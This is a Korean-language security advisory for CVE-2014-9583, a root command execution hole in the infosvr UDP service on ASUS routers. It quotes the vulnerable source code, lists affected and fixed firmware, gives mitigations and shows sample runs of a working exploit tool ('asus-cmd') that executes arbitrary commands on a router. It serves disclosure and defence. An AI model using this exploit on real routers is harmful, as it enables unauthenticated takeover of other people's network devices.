
ASUS 라우터 infosvr UDP 브로드캐스트 root 명령 실행
ASUS 라우터의 여러 모델에는 LAN 또는 WLAN 인터페이스의 UDP 브로드캐스트 포트 9999에서 수신 대기하는 infosvr라는 서비스가 포함되어 있습니다. 이 서비스는 ASUS의 도구 중 하나가 로컬 서브넷에서 라우터를 자동으로 찾아 라우터 구성을 쉽게 하기 위해 사용됩니다. 이 서비스는 root 권한으로 실행되며 인증되지 않은 명령 실행 취약점을 포함하고 있습니다. 이 서비스 및 라우터의 나머지 부분에 대한 소스 코드는 ASUS 지원 사이트에서 얻을 수 있습니다.
이 문제에 할당된 CVE는 CVE-2014-9583입니다 (아쉽게도 결국 CVE-2014-10000은 아니네요 :-/).
현재 해당 라우터(RT-AC66U, RT-N66U 등)의 알려진 모든 펌웨어 버전은 취약한 것으로 간주됩니다. 테스트는 3.0.0.376.2524-g0013f52 버전을 대상으로 수행되었습니다.
다음 라우터/펌웨어 버전은 취약한 것으로 확인되었습니다:
| Router | Firmware Version | Verified By |
|---|---|---|
| RT-N66U | 3.0.0.4.376_1071-g8696125 | Friedrich Postelstorfer |
| RT-AC87U | 3.0.0.4.378_3754 | David Longenecker |
| RT-N56U | 3.0.0.4.374_5656 | @argilo |
| RT-AC68U | 3.0.0.4.376_3626-g9a8323e | @Arie |
| DSL-N55U | 3.0.0.4.374_4422-gc83c78f | @S2- |
| DSL-AC68U | 3.0.0.4.376_2158-g340202b | @magJ, @gitFurious |
| RT-AC66R | 3.0.0.4.376_2524-g0013f52 | @asgh |
| RT-AC66R | 3.0.0.4.376_3602 | @facerolling |
| RT-AC55U | 3.0.0.4.376_6587-gaa506e9 | @pellaeon |
| RT-N12HP_B1 | 3.0.0.4.374_1327 | @vittee |
| RT-N16 | 3.0.0.4.220 | @xorrbit |
또한 커뮤니티 지원 기반의 asuswrt-merlin 펌웨어를 실행하는 라우터는 376.49_5 버전 이전에서는 취약합니다.
2015년 1월 12일 이후에 출시된 펌웨어 개정판을 사용하는 라우터는 영향을 받지 않아야 합니다. 다음 표는 영향을 받지 않는 라우터/펌웨어에 대한 보고를 추적합니다.
| Router | Firmware Version | Verified By |
|---|---|---|
| RT-AC66R | 3.0.0.4.376_3754-g5ef7c1f | @asgh |
| RT-N12HP_B1 | 3.0.0.4.376_3754-g5ef7c1f | @vittee |
다음은 ASUS 코드의 향상된 포크인 ASUSWRT-Merlin 프로젝트에서 발췌한 내용입니다. 파일 전체(추가 재미를 위해 권장)는 여기에서 볼 수 있습니다.
177 char *processPacket(int sockfd, char *pdubuf)
178 {
...
202 phdr = (IBOX_COMM_PKT_HDR *)pdubuf;
...
207 if (phdr->ServiceID==NET_SERVICE_ID_IBOX_INFO &&
208 phdr->PacketType==NET_PACKET_TYPE_CMD)
209 {
...
processPacket 함수는 INFO_PDU_LENGTH (512) 바이트 패킷을 수신한 후 호출됩니다. 취약한 특정 코드 경로는 main->processReq->processPacket입니다. 그런 다음 서비스는 패킷을 구조체로 캐스팅하고 ServiceID 및 PacketType 필드가 예상 값과 일치하는지 확인합니다.
다음 블록에는 이 취약점의 근본 원인으로 여겨지는 내용이 포함되어 있습니다.
222 if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
223 {
224 phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
225
226 // Check Mac Address
227 if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
228 {
229 _dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",
230 (unsigned char)phdr_ex->MacAddress[0],
231 (unsigned char)phdr_ex->MacAddress[1],
232 (unsigned char)phdr_ex->MacAddress[2],
233 (unsigned char)phdr_ex->MacAddress[3],
234 (unsigned char)phdr_ex->MacAddress[4],
235 (unsigned char)phdr_ex->MacAddress[5]
236 );
237 return NULL;
238 }
239
240 // Check Password
241 //if (strcmp(phdr_ex->Password, "admin")!=0)
242 //{
243 // phdr_res->OpCode = phdr->OpCode | NET_RES_ERR_PASSWORD;
244 // _dprintf("Password Error %s\n", phdr_ex->Password);
245 // return NULL;
246 //}
247 phdr_res->Info = phdr_ex->Info;
248 memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);
249 }
이 블록은 먼저 몇 가지 OpCode 값을 제외하는데, 이 값들은 설계상 인증이 필요하지 않은 것으로 추정됩니다. 그런 다음 memcpy를 호출하고 반환 값을 0과 비교하는 수상한 검사를 수행합니다. 이는 작성자가 memcmp를 사용하려 했음을 강력히 시사합니다. 그렇다 하더라도 이 검사가 제대로 구현되었더라도 장치의 MAC 주소를 아는 것은 인증으로 충분하지 않습니다.
다음 블록은 주석 처리되어 있지만 작성자가 한때 비밀번호 확인을 실험했음을 보여줍니다. 다만 이 경우 비밀번호는 "admin"으로 하드코딩되어 있었습니다.
계속해서 다음 switch 문은 제공된 OpCode에 따라 처리를 분기합니다.
251 switch(phdr->OpCode)
252 {
...
428 case NET_CMD_ID_MANU_CMD:
429 {
430 #define MAXSYSCMD 256
431 char cmdstr[MAXSYSCMD];
432 PKT_SYSCMD *syscmd;
...
440 syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));
...
443 if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
444 syscmd->cmd[syscmd->len]=0;
445 syscmd->len=strlen(syscmd->cmd);
446 fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);
447 #if 0
...
512 #endif
513 {
514 sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
515 system(cmdstr);
공격자가 NET_CMD_ID_MANU_CMD의 OpCode 값을 지정하면 앞선 블록은 패킷을 PKT_SYSCMD 구조체로 캐스팅하여 처리합니다. 따라서 syscmd의 모든 멤버는 공격자가 완전히 제어할 수 있습니다. 작성자는 명령 문자열을 NUL로 종료하는 것에 신경을 쓰기 전에(윙크) 514행에서 명령을 실행합니다. 명령 실행 후 출력은 임시 파일에서 읽혀 시작 패킷의 소스 주소로 다시 전송됩니다.
최종 사용자: 펌웨어를 3.0.0.4.376.3754 이상 개정판으로 업데이트하십시오. 라우터의 "업데이트 확인" 기능이 제대로 작동하지 않을 수 있다는 점에 유의하는 것이 중요합니다. 현재 실행 중인 펌웨어 버전을 수동으로 확인하고, 이전 버전인 경우 새 펌웨어를 다운로드/설치하십시오.
ASUS/Merlin: 이 서비스에서 원격 명령 실행 기능을 제거하십시오. 강력한 인증으로 보호된다 하더라도 로컬 네트워크 전체에 비밀번호를 브로드캐스트하는 것은 바람직한 일이 아닙니다. 명령 실행이 정말로 필요하다면 SSH 또는 이와 유사한 보안 메커니즘을 통해 제공되어야 합니다.
David Longenecker는 부팅 시 infosvr 프로세스를 종료하기 위해 script_usbmount nvram 설정과 함께 스크립트(JFFS)를 사용할 것을 권장합니다. 자세한 내용은 그의 블로그 게시물을 확인하십시오.
Eric Sauvageau(@RMerl)는 포트 9999를 방화벽으로 차단할 것을 권장합니다. 자세한 내용은 Small Net Builder 포럼의 그의 게시물을 참조하십시오.
또는 부팅할 때마다 프로세스를 종료하여 infosvr 서비스를 비활성화하십시오. 추가 재미/아이러니를 위해 익스플로잇을 사용하여 이를 수행할 수 있습니다:
$ ./asus-cmd "killall -9 infosvr"
[...]
참고: 이 명령에 대한 응답을 받지 못할 것입니다. 다시 말하지만, 장치가 재시작될 때마다 이 작업을 수행해야 합니다.
이 문제의 최초 공개 이후 여러 업체가 자체 코드 베이스에서 이 문제를 해결했습니다.
2015/01/08 - Eric Sauvageau가 asuswrt-merlin 코드 베이스에서 이 문제를 수정했습니다. 수정 사항이 포함된 첫 번째 릴리스는 376.49_5입니다. 그의 변경 사항은 여기, 여기, 여기에서 검토할 수 있습니다. 2015/01/12 - ASUS는 영향을 받는 장치에 대해 취약하지 않은 것으로 알려진 새 펌웨어 개정판(3.0.0.4.376.3754)을 출시했습니다.
ASUS는 제공된 명령을 실행하기 전에 ateCommand_flag nvram 변수가 1로 설정되도록 하여 문제를 해결했습니다. 이 변수는 일반적인 빌드에서는 설정되지 않습니다.
loc_404958:
la $v0, 0x400000
addiu $a0, $v0, (aAtecommand_fla - 0x400000) # "ateCommand_flag"
la $v0, 0x400000
addiu $a1, $v0, (g_ascONE - 0x400000) # "1"
la $v0, 0x400000
addiu $t9, $v0, (check_nvram - 0x400000)
jalr $t9 ; check_nvram
nop
lw $gp, 0x290+var_270($fp)
bnez $v0, lbl_execute_command
nop
sw $zero, 0x290+var_14($fp)
b lbl_return_zero
이 권고가 있는 저장소에는 이 문제에 대한 작동하는 익스플로잇이 포함되어 있습니다.
$ ./asus-cmd "nvram show | grep -E '(firmver|buildno|extendno)'"
[*] sent command: nvram show | grep -E '(firmver|buildno|extendno)'
[!] received 512 bytes from 10.0.0.2:37625
0c 15 0033 54ab7bc4 41:41:41:41:41:41
0031 nvram show | grep -E '(firmver|buildno|extendno)'
[!] received 512 bytes from 10.0.0.1:9999
0c 16 0033 54ab7bc4 xx:xx:xx:xx:xx:xx
004e buildno=376
extendno_org=2524-g0013f52
extendno=2524-g0013f52
firmver=3.0.0.4
"ASUSWRT 3.0.0.4.376_1071 - LAN 백도어 명령 실행"
(이것이 제 공개를 촉발했습니다. 그의 익스플로잇은 others/ 디렉토리에도 미러링되어 있습니다)
http://www.exploit-db.com/exploits/35688/
"보안: LAN 측 보안 허점 - 완화 조치"
http://forums.smallnetbuilder.com/showthread.php?t=21774
"ASUS 라우터를 갖고 계신가요? 네트워크의 누군가가 아마 해킹할 수 있습니다"
http://arstechnica.com/security/2015/01/got-an-asus-router-someone-on-your-network-can-probably-hack-it/
"ASUS 버그로 로컬 네트워크의 사용자가 무선 라우터를 장악할 수 있습니다"
http://dnlongen.blogspot.com/2015/01/asus-bug-lets-those-on-your-local.html
"익스플로잇으로 로컬 네트워크에서 ASUS 라우터를 해킹할 수 있습니다"
http://www.itworld.com/article/2867255/exploit-allows-asus-routers-to-be-hacked-from-local-network.html
"네트워크 내부의 누구나 ASUS 무선 라우터를 익스플로잇할 수 있습니다"
http://it.slashdot.org/story/15/01/09/1349229/asus-wireless-routers-can-be-exploited-by-anyone-inside-the-network
"대부분의 ASUS 라우터가 하이재킹 버그의 영향을 받음; 익스플로잇 게시됨" http://www.zdnet.com/article/asus-routers-vulnerable-to-network-attack-exploit-published/
"root 명령 실행 결함이 ASUS 라우터를 괴롭히다" http://threatpost.com/root-command-execution-flaw-haunts-asus-routers/110276